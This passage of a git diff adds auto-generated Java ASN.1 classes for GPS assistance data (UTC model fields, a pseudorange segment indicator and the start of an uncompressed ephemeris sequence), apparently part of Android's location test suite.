+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcA0wntType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcTotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcTotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcTotType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcTotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcTotType != null) {
+ return ImmutableList.of(TAG_utcTotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcTotType from encoded stream.
+ */
+ public static utcTotType fromPerUnaligned(byte[] encodedBytes) {
+ utcTotType result = new utcTotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcTotType from encoded stream.
+ */
+ public static utcTotType fromPerAligned(byte[] encodedBytes) {
+ utcTotType result = new utcTotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcTotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcWNtType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcWNtType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcWNtType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcWNtType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcWNtType != null) {
+ return ImmutableList.of(TAG_utcWNtType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcWNtType from encoded stream.
+ */
+ public static utcWNtType fromPerUnaligned(byte[] encodedBytes) {
+ utcWNtType result = new utcWNtType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcWNtType from encoded stream.
+ */
+ public static utcWNtType fromPerAligned(byte[] encodedBytes) {
+ utcWNtType result = new utcWNtType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcWNtType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDeltaTlsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDeltaTlsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDeltaTlsType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDeltaTlsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDeltaTlsType != null) {
+ return ImmutableList.of(TAG_utcDeltaTlsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDeltaTlsType from encoded stream.
+ */
+ public static utcDeltaTlsType fromPerUnaligned(byte[] encodedBytes) {
+ utcDeltaTlsType result = new utcDeltaTlsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDeltaTlsType from encoded stream.
+ */
+ public static utcDeltaTlsType fromPerAligned(byte[] encodedBytes) {
+ utcDeltaTlsType result = new utcDeltaTlsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDeltaTlsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcWNlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcWNlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcWNlsfType() {
+ super();
+ setValueRange("0", "255");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcWNlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcWNlsfType != null) {
+ return ImmutableList.of(TAG_utcWNlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcWNlsfType from encoded stream.
+ */
+ public static utcWNlsfType fromPerUnaligned(byte[] encodedBytes) {
+ utcWNlsfType result = new utcWNlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcWNlsfType from encoded stream.
+ */
+ public static utcWNlsfType fromPerAligned(byte[] encodedBytes) {
+ utcWNlsfType result = new utcWNlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcWNlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDNType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDNType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDNType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDNType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDNType != null) {
+ return ImmutableList.of(TAG_utcDNType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDNType from encoded stream.
+ */
+ public static utcDNType fromPerUnaligned(byte[] encodedBytes) {
+ utcDNType result = new utcDNType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDNType from encoded stream.
+ */
+ public static utcDNType fromPerAligned(byte[] encodedBytes) {
+ utcDNType result = new utcDNType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDNType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcDeltaTlsfType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcDeltaTlsfType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcDeltaTlsfType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcDeltaTlsfType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcDeltaTlsfType != null) {
+ return ImmutableList.of(TAG_utcDeltaTlsfType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcDeltaTlsfType from encoded stream.
+ */
+ public static utcDeltaTlsfType fromPerUnaligned(byte[] encodedBytes) {
+ utcDeltaTlsfType result = new utcDeltaTlsfType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcDeltaTlsfType from encoded stream.
+ */
+ public static utcDeltaTlsfType fromPerAligned(byte[] encodedBytes) {
+ utcDeltaTlsfType result = new utcDeltaTlsfType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcDeltaTlsfType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class utcStandardIDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_utcStandardIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public utcStandardIDType() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_utcStandardIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_utcStandardIDType != null) {
+ return ImmutableList.of(TAG_utcStandardIDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new utcStandardIDType from encoded stream.
+ */
+ public static utcStandardIDType fromPerUnaligned(byte[] encodedBytes) {
+ utcStandardIDType result = new utcStandardIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new utcStandardIDType from encoded stream.
+ */
+ public static utcStandardIDType fromPerAligned(byte[] encodedBytes) {
+ utcStandardIDType result = new utcStandardIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "utcStandardIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("UTCmodelSet4 = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UlPseudoSegInd.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UlPseudoSegInd.java
new file mode 100755
index 0000000..8e895ee
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UlPseudoSegInd.java
@@ -0,0 +1,158 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class UlPseudoSegInd extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ firstOfMany(0),
+ secondOfMany(1),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_UlPseudoSegInd
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UlPseudoSegInd() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UlPseudoSegInd;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UlPseudoSegInd != null) {
+ return ImmutableList.of(TAG_UlPseudoSegInd);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new UlPseudoSegInd from encoded stream.
+ */
+ public static UlPseudoSegInd fromPerUnaligned(byte[] encodedBytes) {
+ UlPseudoSegInd result = new UlPseudoSegInd();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UlPseudoSegInd from encoded stream.
+ */
+ public static UlPseudoSegInd fromPerAligned(byte[] encodedBytes) {
+ UlPseudoSegInd result = new UlPseudoSegInd();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "UlPseudoSegInd = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UncompressedEphemeris.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UncompressedEphemeris.java
new file mode 100755
index 0000000..ca8e4d5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/UncompressedEphemeris.java
@@ -0,0 +1,4173 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class UncompressedEphemeris extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_UncompressedEphemeris
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public UncompressedEphemeris() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_UncompressedEphemeris;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_UncompressedEphemeris != null) {
+ return ImmutableList.of(TAG_UncompressedEphemeris);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new UncompressedEphemeris from encoded stream.
+ */
+ public static UncompressedEphemeris fromPerUnaligned(byte[] encodedBytes) {
+ UncompressedEphemeris result = new UncompressedEphemeris();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new UncompressedEphemeris from encoded stream.
+ */
+ public static UncompressedEphemeris fromPerAligned(byte[] encodedBytes) {
+ UncompressedEphemeris result = new UncompressedEphemeris();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private UncompressedEphemeris.ephemCodeOnL2Type ephemCodeOnL2_;
+ public UncompressedEphemeris.ephemCodeOnL2Type getEphemCodeOnL2() {
+ return ephemCodeOnL2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemCodeOnL2Type
+ */
+ public void setEphemCodeOnL2(Asn1Object value) {
+ this.ephemCodeOnL2_ = (UncompressedEphemeris.ephemCodeOnL2Type) value;
+ }
+ public UncompressedEphemeris.ephemCodeOnL2Type setEphemCodeOnL2ToNewInstance() {
+ ephemCodeOnL2_ = new UncompressedEphemeris.ephemCodeOnL2Type();
+ return ephemCodeOnL2_;
+ }
+
+ private UncompressedEphemeris.ephemURAType ephemURA_;
+ public UncompressedEphemeris.ephemURAType getEphemURA() {
+ return ephemURA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemURAType
+ */
+ public void setEphemURA(Asn1Object value) {
+ this.ephemURA_ = (UncompressedEphemeris.ephemURAType) value;
+ }
+ public UncompressedEphemeris.ephemURAType setEphemURAToNewInstance() {
+ ephemURA_ = new UncompressedEphemeris.ephemURAType();
+ return ephemURA_;
+ }
+
+ private UncompressedEphemeris.ephemSVhealthType ephemSVhealth_;
+ public UncompressedEphemeris.ephemSVhealthType getEphemSVhealth() {
+ return ephemSVhealth_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemSVhealthType
+ */
+ public void setEphemSVhealth(Asn1Object value) {
+ this.ephemSVhealth_ = (UncompressedEphemeris.ephemSVhealthType) value;
+ }
+ public UncompressedEphemeris.ephemSVhealthType setEphemSVhealthToNewInstance() {
+ ephemSVhealth_ = new UncompressedEphemeris.ephemSVhealthType();
+ return ephemSVhealth_;
+ }
+
+ private UncompressedEphemeris.ephemIODCType ephemIODC_;
+ public UncompressedEphemeris.ephemIODCType getEphemIODC() {
+ return ephemIODC_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemIODCType
+ */
+ public void setEphemIODC(Asn1Object value) {
+ this.ephemIODC_ = (UncompressedEphemeris.ephemIODCType) value;
+ }
+ public UncompressedEphemeris.ephemIODCType setEphemIODCToNewInstance() {
+ ephemIODC_ = new UncompressedEphemeris.ephemIODCType();
+ return ephemIODC_;
+ }
+
+ private UncompressedEphemeris.ephemL2PflagType ephemL2Pflag_;
+ public UncompressedEphemeris.ephemL2PflagType getEphemL2Pflag() {
+ return ephemL2Pflag_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemL2PflagType
+ */
+ public void setEphemL2Pflag(Asn1Object value) {
+ this.ephemL2Pflag_ = (UncompressedEphemeris.ephemL2PflagType) value;
+ }
+ public UncompressedEphemeris.ephemL2PflagType setEphemL2PflagToNewInstance() {
+ ephemL2Pflag_ = new UncompressedEphemeris.ephemL2PflagType();
+ return ephemL2Pflag_;
+ }
+
+ private EphemerisSubframe1Reserved ephemSF1Rsvd_;
+ public EphemerisSubframe1Reserved getEphemSF1Rsvd() {
+ return ephemSF1Rsvd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EphemerisSubframe1Reserved
+ */
+ public void setEphemSF1Rsvd(Asn1Object value) {
+ this.ephemSF1Rsvd_ = (EphemerisSubframe1Reserved) value;
+ }
+ public EphemerisSubframe1Reserved setEphemSF1RsvdToNewInstance() {
+ ephemSF1Rsvd_ = new EphemerisSubframe1Reserved();
+ return ephemSF1Rsvd_;
+ }
+
+ private UncompressedEphemeris.ephemTgdType ephemTgd_;
+ public UncompressedEphemeris.ephemTgdType getEphemTgd() {
+ return ephemTgd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemTgdType
+ */
+ public void setEphemTgd(Asn1Object value) {
+ this.ephemTgd_ = (UncompressedEphemeris.ephemTgdType) value;
+ }
+ public UncompressedEphemeris.ephemTgdType setEphemTgdToNewInstance() {
+ ephemTgd_ = new UncompressedEphemeris.ephemTgdType();
+ return ephemTgd_;
+ }
+
+ private UncompressedEphemeris.ephemTocType ephemToc_;
+ public UncompressedEphemeris.ephemTocType getEphemToc() {
+ return ephemToc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemTocType
+ */
+ public void setEphemToc(Asn1Object value) {
+ this.ephemToc_ = (UncompressedEphemeris.ephemTocType) value;
+ }
+ public UncompressedEphemeris.ephemTocType setEphemTocToNewInstance() {
+ ephemToc_ = new UncompressedEphemeris.ephemTocType();
+ return ephemToc_;
+ }
+
+ private UncompressedEphemeris.ephemAF2Type ephemAF2_;
+ public UncompressedEphemeris.ephemAF2Type getEphemAF2() {
+ return ephemAF2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemAF2Type
+ */
+ public void setEphemAF2(Asn1Object value) {
+ this.ephemAF2_ = (UncompressedEphemeris.ephemAF2Type) value;
+ }
+ public UncompressedEphemeris.ephemAF2Type setEphemAF2ToNewInstance() {
+ ephemAF2_ = new UncompressedEphemeris.ephemAF2Type();
+ return ephemAF2_;
+ }
+
+ private UncompressedEphemeris.ephemAF1Type ephemAF1_;
+ public UncompressedEphemeris.ephemAF1Type getEphemAF1() {
+ return ephemAF1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemAF1Type
+ */
+ public void setEphemAF1(Asn1Object value) {
+ this.ephemAF1_ = (UncompressedEphemeris.ephemAF1Type) value;
+ }
+ public UncompressedEphemeris.ephemAF1Type setEphemAF1ToNewInstance() {
+ ephemAF1_ = new UncompressedEphemeris.ephemAF1Type();
+ return ephemAF1_;
+ }
+
+ private UncompressedEphemeris.ephemAF0Type ephemAF0_;
+ public UncompressedEphemeris.ephemAF0Type getEphemAF0() {
+ return ephemAF0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemAF0Type
+ */
+ public void setEphemAF0(Asn1Object value) {
+ this.ephemAF0_ = (UncompressedEphemeris.ephemAF0Type) value;
+ }
+ public UncompressedEphemeris.ephemAF0Type setEphemAF0ToNewInstance() {
+ ephemAF0_ = new UncompressedEphemeris.ephemAF0Type();
+ return ephemAF0_;
+ }
+
+ private UncompressedEphemeris.ephemCrsType ephemCrs_;
+ public UncompressedEphemeris.ephemCrsType getEphemCrs() {
+ return ephemCrs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemCrsType
+ */
+ public void setEphemCrs(Asn1Object value) {
+ this.ephemCrs_ = (UncompressedEphemeris.ephemCrsType) value;
+ }
+ public UncompressedEphemeris.ephemCrsType setEphemCrsToNewInstance() {
+ ephemCrs_ = new UncompressedEphemeris.ephemCrsType();
+ return ephemCrs_;
+ }
+
+ private UncompressedEphemeris.ephemDeltaNType ephemDeltaN_;
+ public UncompressedEphemeris.ephemDeltaNType getEphemDeltaN() {
+ return ephemDeltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemDeltaNType
+ */
+ public void setEphemDeltaN(Asn1Object value) {
+ this.ephemDeltaN_ = (UncompressedEphemeris.ephemDeltaNType) value;
+ }
+ public UncompressedEphemeris.ephemDeltaNType setEphemDeltaNToNewInstance() {
+ ephemDeltaN_ = new UncompressedEphemeris.ephemDeltaNType();
+ return ephemDeltaN_;
+ }
+
+ private UncompressedEphemeris.ephemM0Type ephemM0_;
+ public UncompressedEphemeris.ephemM0Type getEphemM0() {
+ return ephemM0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemM0Type
+ */
+ public void setEphemM0(Asn1Object value) {
+ this.ephemM0_ = (UncompressedEphemeris.ephemM0Type) value;
+ }
+ public UncompressedEphemeris.ephemM0Type setEphemM0ToNewInstance() {
+ ephemM0_ = new UncompressedEphemeris.ephemM0Type();
+ return ephemM0_;
+ }
+
+ private UncompressedEphemeris.ephemCucType ephemCuc_;
+ public UncompressedEphemeris.ephemCucType getEphemCuc() {
+ return ephemCuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemCucType
+ */
+ public void setEphemCuc(Asn1Object value) {
+ this.ephemCuc_ = (UncompressedEphemeris.ephemCucType) value;
+ }
+ public UncompressedEphemeris.ephemCucType setEphemCucToNewInstance() {
+ ephemCuc_ = new UncompressedEphemeris.ephemCucType();
+ return ephemCuc_;
+ }
+
+ private UncompressedEphemeris.ephemEType ephemE_;
+ public UncompressedEphemeris.ephemEType getEphemE() {
+ return ephemE_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UncompressedEphemeris.ephemEType
+ */
+ public void setEphemE(Asn1Object value) {
+ this.ephemE_ = (UncompressedEphemeris.ephemEType) value;
+ }
+ public UncompressedEphemeris.ephemEType setEphemEToNewInstance() {
